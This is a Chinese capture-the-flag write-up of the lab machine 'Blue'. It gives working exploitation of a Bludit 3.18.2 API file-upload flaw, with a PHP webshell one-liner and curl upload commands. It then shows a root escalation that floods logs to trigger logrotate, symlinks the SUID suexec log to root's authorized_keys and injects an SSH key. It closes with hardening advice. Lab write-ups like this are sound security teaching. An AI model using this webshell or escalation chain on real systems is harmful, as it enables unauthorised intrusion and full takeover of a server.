跳到主要内容

MazeSec Blue 通关记录|Bludit API 任意文件上传与 SUID suexec 日志追加提权

靶机链接:Blue


0x01 基本信息

名称IP / 标识说明
Kali Linux192.168.1.109攻击机
Blue192.168.1.118blue.dszAlpine Linux 3.25.0 靶机(Apache 2.4.68 / PHP 8.3.33 / Bludit CMS 3.18.2)

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
信息收集RustScan 全端口扫描 + Gobuster 目录枚举发现 22(SSH)、80(HTTP),锁定 Bludit CMS 3.18.2 与 .gitignore
凭据发现访问 HTTP http://blue.dsz/credentials.ini获得管理员明文口令 gl_+&YW3$28S^&R%
认证突破提取动态 tokenCSRF 后 POST 登录,深入插件配置页与用户资料页获得只读 API Token 与读写 authentication Token
漏洞利用CVE-2026-25099 API 任意文件上传(3.18.2 缺少扩展名校验)只读 Token 即可上传 PHP WebShell,获得 apache 权限
初始访问访问 WebShell 执行系统命令获得系统交互并读取 User Flag
提权机制SUID /usr/sbin/suexec 日志原语审计suexec 以 root euid 跟随符号链接追加日志,且 argv[1] 被原样写入日志
窗口制造请求灌满 error.log 超过 5MB,等待 crond 每分钟 logrotate触发 logrotate 的 postrotate 脚本将 /var/log/apache2 置为 777
Root 提权建立指向 /root/.ssh/authorized_keys 的符号链接并触发 suexec退出码 105,公钥成功追加写入 root 家目录,免密 SSH 登录读取 Root Flag

0x02 侦察与信息收集

1. TCP 全端口扫描

使用 RustScan 结合 Nmap 对目标主机 192.168.1.118 进行全端口探测与服务指纹识别:

rustscan -a 192.168.1.118 --ulimit 5000 -- -A -sV -sC -Pn -oN nmap_blue_118.txt

扫描输出关键内容如下:

Nmap scan report for Blue.lan (192.168.1.118)
Host is up, received arp-response (0.0048s latency).
Scanned at 2026-09-21 17:09:40 +08 for 17s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.5 (protocol 2.0)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.68
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blue.dsz/
|_http-server-header: Apache/2.4.68 (Unix)
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)

开放端口汇总:

端口服务版本 / 指纹说明
22/tcpSSHOpenSSH 10.5 (protocol 2.0)远程登录服务
80/tcpHTTPApache httpd 2.4.68 (Unix)301 重定向至 http://blue.dsz/

扫描确认开放服务:

  1. 22/tcp:OpenSSH 10.5,版本极新,暂无已知预认证远程代码执行漏洞;
  2. 80/tcp:Apache 2.4.68,访问根路径返回 301 重定向至 http://blue.dsz/,说明服务端配置了基于域名的跳转。

将域名与 IP 绑定写入攻击机本地解析:

echo "192.168.1.118 blue.dsz" | sudo tee -a /etc/hosts
grep blue.dsz /etc/hosts
192.168.1.118 blue.dsz

绑定后确认 Web 首页与重定向行为:

curl -s -i http://192.168.1.118/ | head -4
curl -s -H "Host: blue.dsz" http://192.168.1.118/
HTTP/1.1 301 Moved Permanently
Server: Apache/2.4.68 (Unix)
Location: http://blue.dsz/
...
<html>
<head>
<title>It works! Apache httpd</title>
</head>
<body>
<p>It works!</p>
</body>
</html>

0x03 Web 指纹枚举与凭据泄露

1. 目录扫描与系统指纹

使用 Gobuster 对 http://blue.dsz/ 进行目录与文件枚举:

gobuster dir -u http://blue.dsz/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,txt,bak,zip -t 50 -o gobuster_blue_118.txt

枚举发现的典型特征路径:

# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 301) [Size: 0] [--> http://blue.dsz/# license, visit http://creativecommons.org/licenses/by-sa/3.0]
index.html (Status: 200) [Size: 191]
about (Status: 200) [Size: 6782]
0 (Status: 200) [Size: 11326]
admin (Status: 301) [Size: 0] [--> http://blue.dsz/admin/]
install.php (Status: 200) [Size: 30]
api (Status: 400) [Size: 36]
robots.txt (Status: 200) [Size: 22]
LICENSE (Status: 200) [Size: 1083]

关键端点验证:

curl -s http://blue.dsz/api/ # {"message":"Missing method inputs."}
curl -s http://blue.dsz/install.php # Bludit is already installed ;)
curl -s http://blue.dsz/robots.txt # User-agent: * / Allow: /

查看静态资源引用,锁定目标运行 CMS 为 Bludit 3.18.2

curl -s http://blue.dsz/about | grep -io 'version=3\.18\.[0-9]*' | sort -u
version=3.18.2

2. .gitignore 敏感文件泄露

检查 Web 根目录的开发配置残留,访问 .gitignore

curl -s http://blue.dsz/.gitignore

输出仅一行敏感文件名:

credentials.ini

开发人员在上线部署时将原本应被忽略的敏感凭据配置文件一同推到了根目录。直接发起 HTTP GET 请求拉取 credentials.ini

curl -s http://blue.dsz/credentials.ini

泄露内容:

gl_+&YW3$28S^&R%

成功捕获到管理员口令明文 gl_+&YW3$28S^&R%


0x04 后台登录与 API Token 提取

1. 携带 CSRF Token 登录后台

直接向 /admin/login POST 用户名与密码会因缺少令牌被拦截。Bludit 的后台登录表单具有如下安全控制:

  1. 表单带有一次性隐藏字段 tokenCSRF,服务端严格校验令牌;
  2. 密码字符串中包含特殊符号 +。在 HTTP application/x-www-form-urlencoded 请求体中,+ 会被解析为空格,因此必须正确进行 URL 编码(转为 %2B)。使用 Python requests.post(..., data=dict) 时会自动完成参数编码。

编写脚本提取 CSRF 令牌并完成会话建立:

import re
import requests

BASE = "http://blue.dsz"
s = requests.Session()

# 1) 抓取登录页动态 CSRF Token
html = s.get(f"{BASE}/admin/login", timeout=10).text
csrf = re.search(r'name="tokenCSRF" value="([^"]+)"', html).group(1)
print(f"[*] tokenCSRF : {csrf[:24]}...")

# 2) 携带凭据与 CSRF Token 登录
r = s.post(f"{BASE}/admin/login", data={
"username": "admin",
"password": "gl_+&YW3$28S^&R%",
"tokenCSRF": csrf,
"save": "",
}, allow_redirects=False, timeout=10)
print(f"[*] login status : {r.status_code} -> {r.headers.get('Location')}")

# 3) 插件配置页提取 API Token(只读)
cfg = s.get(f"{BASE}/admin/configure-plugin/pluginAPI", timeout=10).text
api_token = re.search(r'name="token"[^>]*value="([0-9a-fA-F]+)"', cfg).group(1)
print(f"[+] API token : {api_token}")

# 4) 用户资料页提取 authentication Token(读写)
prof = s.get(f"{BASE}/admin/edit-user/admin", timeout=10).text
auth_token = re.search(r'name="tokenAuth"[^>]*value="([0-9a-fA-F]+)"', prof).group(1)
print(f"[+] authentication : {auth_token}")

# 5) 校验只读 API
res = requests.get(f"{BASE}/api/pages", params={"token": api_token}, timeout=10).json()
print(f"[+] /api/pages : status={res['status']} items={res['numberOfItems']} first={res['data'][0]['key']}")

脚本执行结果:

[*] tokenCSRF : 6f29b0eb2632a54a14563a88...
[*] login status : 301 -> /admin/dashboard
[+] API token : b35bbff0d5e6b8829b214fdfb7f72ed70f42e07bbf860985a3a585cf59ed75cc55645df2ac7264b4ca0655f19cbf6eff792a7a01801368141e4550d7e8c056d3
[+] authentication : 3fdf8384df833743862e86b11bd36628
[+] /api/pages : status=0 items=15 first=beep
关于输出时序

上面的令牌汇总脚本为便于阅读在后续建页步骤完成后复跑过一次,因此 /api/pages 列表首项显示为后续创建的 beep;首次调用时首项为默认文章 create-your-own-content

2. API Token 与 authentication Token 的用途

两个令牌的用途差异:

  • token:API 插件专有 Token,出现在 /admin/configure-plugin/pluginAPI,官方描述为只读;
  • authentication:用户认证 Token(tokenAuth),出现在 /admin/edit-user/{username},API 用它判定 $writePermissions 并放开写操作。

3. 验证只读 API

使用 curl 直接校验只读 API:

TOKEN=b35bbff0d5e6b8829b214fdfb7f72ed70f42e07bbf860985a3a585cf59ed75cc55645df2ac7264b4ca0655f19cbf6eff792a7a01801368141e4550d7e8c056d3
curl -s "http://blue.dsz/api/pages?token=$TOKEN" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['status'], d['message'], d['numberOfItems'])"
0 List of pages 15

返回现有页面数据("status": "0"),证明 API Token 具有读取权限。


0x05 漏洞利用:CVE-2026-25099 API 任意文件上传 RCE

1. 漏洞原理分析

对比 Bludit 3.18.23.18.4 的 API 插件源码可以精确定位该漏洞。官方在 3.18.4 中同时补上了两道防线:

--- bludit-3.18.2/bl-plugins/api/plugin.php
+++ bludit-3.18.4/bl-plugins/api/plugin.php
@@ -201,7 +201,7 @@
// (POST) /api/files/<page-key>
- elseif (($method === 'POST') && ($parameters[0] === 'files') && !empty($parameters[1])) {
+ elseif (($method === 'POST') && ($parameters[0] === 'files') && !empty($parameters[1]) && $writePermissions) {
$pageKey = $parameters[1];
$data = $this->uploadFile($pageKey);
@@ -746,6 +746,11 @@
}

$filename = $_FILES['file']['name'];
+ $blockedExtensions = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht', 'phar'];
+ $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
+ if (in_array($ext, $blockedExtensions)) {
+ return array('status' => '1', 'message' => 'File type not allowed.');
+ }
$absoluteURL = DOMAIN_UPLOADS_PAGES . $pageKey . DS . $filename;
$absolutePath = PATH_UPLOADS_PAGES . $pageKey . DS . $filename;
if (Filesystem::mv($_FILES['file']['tmp_name'], $absolutePath)) {

由此确认 3.18.2 的缺陷:

  • POST /api/files/{page_key} 端点没有 $writePermissions 校验,持有“只读” API Token 即可调用;
  • uploadFile() 未对文件扩展名做任何白名单过滤,上传的 .php 直接落入公开目录;
  • 上传文件被保存至 /bl-content/uploads/pages/{page_key}/,该路径可被 Web 直接访问,从而获得远程代码执行。

2. 首次上传失败与目录成因

先按最直接的方式,用只读 Token 向一个已存在页面(create-your-own-content)上传 PHP:

cd /tmp/opencode
printf '%s' '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>' > shell.php

TOKEN=b35bbff0d5e6b8829b214fdfb7f72ed70f42e07bbf860985a3a585cf59ed75cc55645df2ac7264b4ca0655f19cbf6eff792a7a01801368141e4550d7e8c056d3
curl -s -X POST "http://blue.dsz/api/files/create-your-own-content" \
-F "token=$TOKEN" -F "[email protected];type=application/x-php"
{"status":"1","message":"Error moving the file to the final path."}

检查目标目录可以发现:/bl-content/uploads/pages/ 目录列表为空,且请求页面 Key 的目录时会被 Bludit 路由接管(返回 X-Powered-By: PHP),说明上传目录尚未创建

Bludit 只会在页面创建时(createPage()Pages::add())建立 /bl-content/uploads/pages/{uuid} 目录并生成 {page_key} → {uuid} 的符号链接(参见 bl-kernel/pages.class.php)。存量页面(包括默认文章)在镜像中并没有预建上传目录,因此直接上传会因目标路径不存在而失败。

3. 通过 API 创建页面以生成上传目录

写操作需要同时携带插件 token用户 authentication token,调用 POST /api/pages 新建一篇文章:

TOKEN=b35bbff0d5e6b8829b214fdfb7f72ed70f42e07bbf860985a3a585cf59ed75cc55645df2ac7264b4ca0655f19cbf6eff792a7a01801368141e4550d7e8c056d3
AUTH=3fdf8384df833743862e86b11bd36628

curl -s -X POST "http://blue.dsz/api/pages" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "authentication=$AUTH" \
--data-urlencode "title=beep" \
--data-urlencode "content=beep boop"
{
"status": "0",
"message": "Page created.",
"data": {
"key": "beep"
}
}

页面创建后,/bl-content/uploads/pages/beep/ 上传目录随之生成。

4. 用只读 Token 上传 PHP WebShell

重新上传 WebShell,请求中只携带只读的插件 token,不携带 authentication——这正是 CVE-2026-25099 的关键:

curl -s -X POST "http://blue.dsz/api/files/beep" \
-F "token=$TOKEN" \
-F "[email protected];type=application/x-php"

上传成功,API 返回:

{
"status": "0",
"message": "File uploaded.",
"filename": "shell.php",
"absolutePath": "/var/www/localhost/htdocs/bl-content/uploads/pages/beep/shell.php",
"absoluteURL": "http://blue.dsz/bl-content/uploads/pages/beep/shell.php"
}

WebShell 文件落地在如下公开可访问的路径:

http://blue.dsz/bl-content/uploads/pages/beep/shell.php

0x06 初始访问与 User Flag

1. 验证命令执行

通过 curl 请求该 WebShell 验证命令执行:

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" \
--data-urlencode 'cmd=id; hostname; cat /home/nothing/user.txt'

输出:

uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
Blue
flag{user-e054f3aa6db6903af7a39a2cd1f270a1}

确认已获得 apache 用户的系统命令执行能力。

2. 获取 User Flag

遍历 /home 目录确认 Flag 归属:

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" \
--data-urlencode 'cmd=ls -la /home/nothing/user.txt'
-rw-r--r-- 1 root nothing 44 Jun 10 13:23 /home/nothing/user.txt

成功获得 User Flagflag{user-e054f3aa6db6903af7a39a2cd1f270a1}


0x07 权限提升:SUID suexec 日志追加 → SSH 免密 Root

1. SUID 程序枚举

在主机中检索 SUID 程序:

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" \
--data-urlencode 'cmd=find / -perm -4000 -type f 2>/dev/null'
/bin/umount
/bin/bbsuid
/bin/mount
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/sbin/suexec

发现目标主机上的 /usr/sbin/suexec 被配置了 SUID 权限:

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" --data-urlencode 'cmd=ls -la /usr/sbin/suexec'
-rwsr-xr-x 1 root root 14224 Jun 10 16:42 /usr/sbin/suexec

在 Apache 架构中,suexec 用于以特定非 root 用户身份执行 CGI 脚本,该 SUID 二进制即为本次提权的核心。

2. suexec 漏洞机制逆向

提取二进制字符串,可以发现日志路径与关键错误分支:

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" --data-urlencode 'cmd=strings -a /usr/sbin/suexec | grep -iE "log|invalid|mismatch|docroot"'
/var/log/apache2/suexec.log
suexec failure: could not open log file
suexec policy violation: see suexec log for more details
crit: invalid uid: (%lu)
-D AP_LOG_EXEC="%s"
user mismatch (%s instead of %s)
invalid command (%s)
invalid target user name: (%s)
invalid target user id: (%s)
invalid target group name: (%s)
invalid target group id: (%s)
cannot get docroot information (%s)
command not in docroot (%s/%s)
target uid/gid (%lu/%lu) mismatch with directory (%lu/%lu) or program (%lu/%lu)

结合完整字符串中的 [%d-%.2d-%.2d %.2d:%.2d:%.2d]:uid: (%s/%s) gid: (%s/%s) cmd: %s 可还原日志行结构。该自定义二进制存在严重的日志注入与符号链接追踪缺陷

  1. 未关闭符号链接追踪suexec 以 root euid 打开其错误日志 /var/log/apache2/suexec.log 时,open flag 为 O_CREAT | O_APPEND,但没有设置 O_NOFOLLOW。当该日志文件是指向某个关键系统配置的符号链接时,系统会直接跟随链接并以 root 权限向目标文件追加内容;

  2. 先写日志后校验安全:当以 apache 用户(调用方用户组匹配)执行时,suexec 首先执行日志初始化并记录调用参数。若传入的目标用户名不合法,程序进入异常退出分支,格式化输出错误日志:

    log_err("invalid target user name: (%s)\n", argv[1]);
    exit(105);

    argv[1](第一个命令行参数)会被原封不动地写入日志内容中

  3. 这直接构成了任意内容以 root 权限追加到任意文件的高危原语。日志追加写入的数据格式固定为: [时间戳]: invalid target user name: ( + [argv[1] 原始内容] + )

apache 身份实测该原语(写入默认日志):

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" --data-urlencode 'cmd=id; /usr/sbin/suexec badusertest f2 f3; echo "RC=$?"; ls -la /var/log/apache2/suexec.log; cat /var/log/apache2/suexec.log'
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
RC=105
-rw-r--r-- 1 root apache 63 Sep 21 17:25 /var/log/apache2/suexec.log
[2026-09-21 17:25:38]: invalid target user name: (badusertest)

可见日志文件由 root 创建(root:apache 644),argv[1] 被原样回显,退出码为 105

3. 制造 /var/log/apache2 的 777 权限窗口

目录权限与轮转规则

要利用该原语,攻击者必须能在 /var/log/apache2/ 目录下删除原日志并创建符号链接。检查目录与轮转规则(本次复现中目录已经是 777,成因见本节末尾的灌日志分析):

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" --data-urlencode 'cmd=stat -c "%a %U %G" /var/log/apache2; cat /etc/logrotate.d/apache2'
777 root adm
/var/log/apache2/access.log {
weekly
missingok
rotate 4
compress
delaycompress
notifempty
create 640 root adm
sharedscripts
postrotate
/etc/init.d/apache2 reload > /dev/null 2>&1 || true
endscript
}

/var/log/apache2/error.log {
size 5M
rotate 1
missingok
notifempty
create 644 root root
postrotate
/bin/chmod 777 /var/log/apache2
endscript
}

配置显示:

  • 轮转触发阈值是 size 5M(精确为 5,242,880 字节);
  • 一旦触发轮转,其 postrotate 脚本将执行 /bin/chmod 777 /var/log/apache2
  • Alpine 的 crond 配置为每分钟执行一次 logrotate:
cat /etc/crontabs/root
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly

* * * * * /usr/sbin/logrotate /etc/logrotate.conf
* * * * * echo "[$(date)] Cron job executed: logrotate checker" >> /tmp/cron_debug.txt

调试文件也可佐证调度节奏:

tail -3 /tmp/cron_debug.txt
[Mon Sep 21 17:30:00 CST 2026] Cron job executed: logrotate checker
[Mon Sep 21 17:31:00 CST 2026] Cron job executed: logrotate checker
[Mon Sep 21 17:32:00 CST 2026] Cron job executed: logrotate checker

扫描流量与日志轮转证据

在 Bludit 环境下,凡是命中 Bludit 路由但未匹配到页面的请求,都会由 PHP 写出 php:notice 级别的 Page::__construct | Page not found in database by key [...] 日志。本次复现中,0x03 的 Gobuster 目录扫描本身就完成了这一步:扫描开始后约 2 分钟内,error.log 由 0 增长到 5,875,457 字节(31,404 行),随后被 crond 的每分钟 logrotate 轮转,并执行了 postrotate chmod 777

轮转归档文件的内容与首尾时间戳可以证明日志由扫描流量填满:

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" --data-urlencode 'cmd=ls -la /var/log/apache2/'
-rw-r----- 1 root adm 6332054 Sep 21 17:26 access.log
-rw-r--r-- 1 root adm 5040 Sep 21 17:09 access.log-20260921
-rw-r--r-- 1 root root 0 Sep 21 17:12 error.log
-rw-r--r-- 1 root adm 426491 Sep 21 17:12 error.log-20260921.gz
lrwxrwxrwx 1 apache apache 26 Sep 21 17:26 suexec.log -> /root/.ssh/authorized_keys
# 解压轮转归档(可读),统计行数与首尾时间
zcat error.log-20260921.gz | wc -l
zcat error.log-20260921.gz | head -1
zcat error.log-20260921.gz | tail -1
31404
[Mon Sep 21 16:12:39.367270 2026] [mpm_prefork:notice] [pid 2418:tid 2418] AH00163: Apache/2.4.68 (Unix) PHP/8.3.33 configured -- resuming normal operations
[Mon Sep 21 17:12:00.956287 2026] [php:notice] [pid 2825:tid 2825] [client 192.168.1.109:59522] [INFO] [3.18.2] [/Printers.zip] Page::__construct | Page not found in database by key []

补充说明:被 LogLevel warn 过滤掉的是 Apache 自身产生的 File does not exist notice;而 Bludit 的前端路由会把任意未匹配路径交给 index.php 处理,每次都会产生 php:notice 日志。实测请求任意不存在路径约 429 字节/次,请求 /admin/login541 字节/次,两者都能稳定推高 error.log

主动灌日志与权限窗口验证

如果目标是全新启动、目录仍为默认权限(0755 root:adm)的机器,可主动使用 ApacheBench 灌日志。实测每次请求 /admin/login 会向 error.log 追加约 541 字节

ab -n 2000 -c 100 "http://blue.dsz/admin/login?x=flood"
Time taken for tests: 15.236 seconds
Complete requests: 2000
Failed requests: 0
Total transferred: 18336000 bytes
Requests per second: 131.26 [#/sec] (mean)

对应 error.log6,506,280 增长到 7,588,280 字节(增量 1,082,000,约 541 字节/请求)。因此约 10,000 次请求即可跨越 5MB 阈值:

ab -q -n 12000 -c 100 "http://blue.dsz/admin/login?x=$RANDOM"

灌满后等待 crond 调度(最多 1 分钟),通过 WebShell 轮询捕获 777 权限窗口:

while true; do
perm=$(curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" --data-urlencode 'cmd=stat -c %a /var/log/apache2' | sed -e 's/<[^>]*>//g' | tr -d ' \r\n')
if [ "$perm" = "777" ]; then
echo "[+] 成功捕获 777 权限窗口!"
break
fi
echo "[-] 当前权限: $perm,等待 5 秒..."
sleep 5
done
[+] 成功捕获 777 权限窗口!

4. 落点选取:利用 authorized_keys 的容错机制

在 Linux 中,追加写入系统文件最大的障碍在于 suexec 会在内容前拼接时间戳和前缀,并在末尾添加一个右括号 )。为什么选择追加写入 /root/.ssh/authorized_keys

  1. 前缀垃圾容错:OpenSSH 的 sshd 采用逐行解析策略。对于无法识别为公钥格式的行,sshd 会直接跳过,绝不会影响后续有效行的加载;
  2. 尾部括号容错:OpenSSH 公钥由 [key-type] [base64-key] [comment] 三部分组成。载荷末尾残留的 ) 会直接被解析为注释(Comment)的一部分,丝毫不会破坏公钥加密材料的有效性;
  3. 换行注入argv[1]%s 原样写入,因此只要在公钥前注入一个换行符,即可让有效公钥独占一行,绕开日志前缀的干扰;
  4. 前置条件验证:靶机 /root/.ssh/authorized_keys 已存在且 sshd 允许 root 登录。

先在攻击机本地生成专用的 ed25519 密钥对(出于安全考虑,公钥具体内容不写入文档,使用变量引用):

ssh-keygen -t ed25519 -f rootkey -N "" -C "beehack"
PUBKEY=$(cat rootkey.pub) # 使用本机公钥,内容不写入文档

先在攻击机本地构造干跑载荷并通过 WebShell 发送,确认落地字节格式:

# 在 Kali 上构造干跑脚本,将 $PUBKEY 嵌入后 Base64 编码发送给 WebShell:
TEST_PAYLOAD=$(cat <<EOF
touch /tmp/suexec_test
cd /var/log/apache2 && rm -f suexec.log && ln -s /tmp/suexec_test suexec.log
/usr/sbin/suexec "\$(printf '\n%s\n' "$PUBKEY")" f2 f3
echo "RC=\$?"
cat -A /tmp/suexec_test
EOF
)

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" \
--data-urlencode "cmd=echo $(echo "$TEST_PAYLOAD" | base64 -w 0) | base64 -d | sh" | sed 's/<[^>]*>//g'
RC=105
[2026-09-21 17:26:09]: invalid target user name: ($
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...(本机公钥,内容不写入文档) beehack)$

可以看到:前缀 [时间戳]: invalid target user name: ( 独占首行,有效公钥从行首开始独占第二行,尾部的 ) 追加在注释末尾。这正是 sshd 能够正常解析的原因。

5. 武器化注入与退出码验证

在捕获到的 777 权限窗口期内,由 Kali 将包含本机公钥的注入指令进行 Base64 打包,直接通过 WebShell 发送给靶机以 apache 身份执行:

# 在 Kali 攻击机上将包含本机公钥的注入指令打包为 Base64,经 WebShell 管道触发:
PAYLOAD=$(cat <<EOF
rm -f /tmp/suexec_test
cd /var/log/apache2 && rm -f suexec.log
ln -s /root/.ssh/authorized_keys suexec.log
/usr/sbin/suexec "\$(printf '\n%s\n' "$PUBKEY")" f2 f3
echo "RC=\$?"
ls -la /var/log/apache2/suexec.log
EOF
)

curl -s -G "http://blue.dsz/bl-content/uploads/pages/beep/shell.php" \
--data-urlencode "cmd=echo $(echo "$PAYLOAD" | base64 -w 0) | base64 -d | sh" | sed 's/<[^>]*>//g'

命令输出:

RC=105
lrwxrwxrwx 1 apache apache 26 Sep 21 17:26 /var/log/apache2/suexec.log -> /root/.ssh/authorized_keys
退出码机制解析

根据 Apache support/suexec.c 源码与实际调用逻辑:

  • RC = 105:代表 target_uname 非有效系统用户(getpwnam() 返回 NULL),触发 invalid target user name: (%s) 分支,将入参 argv[1] 格式化写入日志。此时证明 suexec 已成功以 root 权限打开并追加日志(若日志路径不可达或权限错误,会在入口 fopen 处直接报 exit(1));
  • RC = 103:代表调用方身份不匹配(strcmp(AP_HTTPD_USER, pw->pw_name) != 0,即非 apache 用户执行)。该分支日志仅记录 user mismatch (%s instead of %s),并不输出 argv[1],无法用于注入;
  • RC = 1:若符号链接损坏、目标路径不存在或父目录权限不足导致 fopen 失败,程序会在 log_err() 入口输出 suexec failure: could not open log file 并以 1 异常退出。

6. 获取 Root Shell 与 Root Flag

使用本地私钥 rootkey 直接以 root 身份免密登录 SSH:

ssh -i rootkey -o StrictHostKeyChecking=no [email protected]

登录后核验权限与读取 Root Flag:

id
hostname
cat /root/root.txt

执行结果:

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Blue
flag{root-76bb1eee19965cdb4bc45f35fa136565}

检查被污染的 authorized_keys,可以清晰看到注入结果与原有公钥共存:

cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...(靶机原有公钥,出处不明)
[2026-09-21 17:26:22]: invalid target user name: (
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...(本次注入的公钥,内容不写入文档) beehack)

至此,全流程闭环,成功取得靶机最高权限与全部两面 Flag!


0x08 最终成果

User Flag

  • 路径: /home/nothing/user.txt
  • 权限: -rw-r--r-- 1 root nothing 44
  • 内容: flag{user-e054f3aa6db6903af7a39a2cd1f270a1}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-76bb1eee19965cdb4bc45f35fa136565}

0x09 关键踩坑记录

在实际攻防推演过程中,以下尝试经深入验证确认为无效路径或需要特别注意的细节,记录于此以供避坑:

探索路径测试现象失败根本原因剖析
对存量页面直接 API 上传返回 {"status":"1","message":"Error moving the file to the final path."}Bludit 仅在页面创建时(Pages::add())建立 uploads/pages/{uuid} 目录与 Key 符号链接;镜像中的存量页面没有预建上传目录,需先用 API 建一篇新页面。
只带插件 token 调用写接口POST /api/pages 返回 {"message":"Access denied or invalid endpoint."}携带有效插件 Token 但缺少 authentication 用户令牌时,Bludit 的 $writePermissions 为 false,无法匹配写端点分支并落入默认的 401 拒绝。若请求体完全无参数则报 Missing method inputs.,缺失插件 Token 则报 Missing API token.。建页等写操作必须双 Token 齐备。
误以为“404 请求不写日志”直接请求不存在的路径,日志却只增长少量或为 0LogLevel warn 过滤的是 Apache 自身 File does not exist notice;Bludit 路由会把未匹配路径交给 PHP 产生 php:notice(约 429 字节/次),依然能灌满日志。若观察到 0 增长,多半是遇到了下一条句柄未重开的情况。
同日第二次灌满 error.loglogrotate -derror: destination /var/log/apache2/error.log-20260921.gz already exists, skipping rotation全局配置启用了 dateext,同一天的同名归档已存在时 logrotate 直接跳过轮转。好在该窗口一旦打开便会一直保持(无回收定时任务),首次触发即可完成提权。
error.log 轮转后句柄未重开轮转后新 error.log 长期为 0 字节;/proc/<httpd pid>/fd/2 指向 error.log-20260921 (deleted)error.log 的 logrotate 配置只有 postrotate chmod 777,没有重启/重载 Apache 的命令,主进程继续写已删除的旧 inode。属于靶机配置瑕疵,不影响首次窗口的利用。
非 apache 用户调用 suexecnothing 用户下调用 suexec,返回 RC=103,日志为 user mismatch (nothing instead of apache)suexec 首先校验实际调用者身份,非 apache 用户直接触发 103,且该分支日志不包含 argv[1],无法用于注入。
Bludit 前台/后台媒体库上传上传包含 .php.phtml 的图片马Bludit 3.18.2 对常规后台上传执行了严格的 MIME + 扩展名后缀白名单校验;唯有独立的 API 插件端点遗漏了该校验(3.18.4 已修复)。

0x0A 复盘总结与防御建议

针对本次靶机呈现的攻击链路,提出如下体系化安全加固方案:

  1. 清除敏感开发配置

    • 生产环境中严禁在 Web 根目录下残留 .git.gitignore.ini 文件;

    • 在 Apache 配置中禁止访问隐藏文件和敏感扩展名:

      <FilesMatch "(^\.|\.ini$|\.bak$)">
      Require all denied
      </FilesMatch>
  2. 升级 CMS 版本并收敛 API 接口

    • 将 Bludit 升级至 3.18.4 或以上稳定版本,补上 POST /api/files/{page_key}$writePermissions 校验与 PHP 后缀黑名单;
    • 对对外开放的 API 文件上传端点补充文件格式与内容安全检测白名单,并将上传目录配置为不可执行(PHP 引擎禁止解析 uploads/ 目录)。
  3. 排查与收敛 SUID 权限

    • 撤销 /usr/sbin/suexec 的 SUID 特权标志(若非必需建议 chmod u-s /usr/sbin/suexec);
    • 在必须使用 SUID 的二进制中,打开文件时务必添加 O_NOFOLLOW 标志,切勿轻信不可信的外部命令行参数,并确保日志写入发生在所有安全校验之后。
  4. 纠正危险的日志轮转配置

    • 彻底删除 /etc/logrotate.d/apache2 中包含的 postrotate /bin/chmod 777 提权逻辑;
    • 保证日志目录权限严格遵循最小化原则(属主 root:adm,权限 0750);
    • 为 error.log 补充日志重开动作(apachectl graceful),避免归档后写入失效 inode。
  5. 加固 SSH 认证策略

    • 修改 /etc/ssh/sshd_config,设置 PermitRootLogin no,禁止通过 SSH 协议直接登录特权 root 账户;
    • authorized_keys 启用完整性监控,及时发现异常追加行。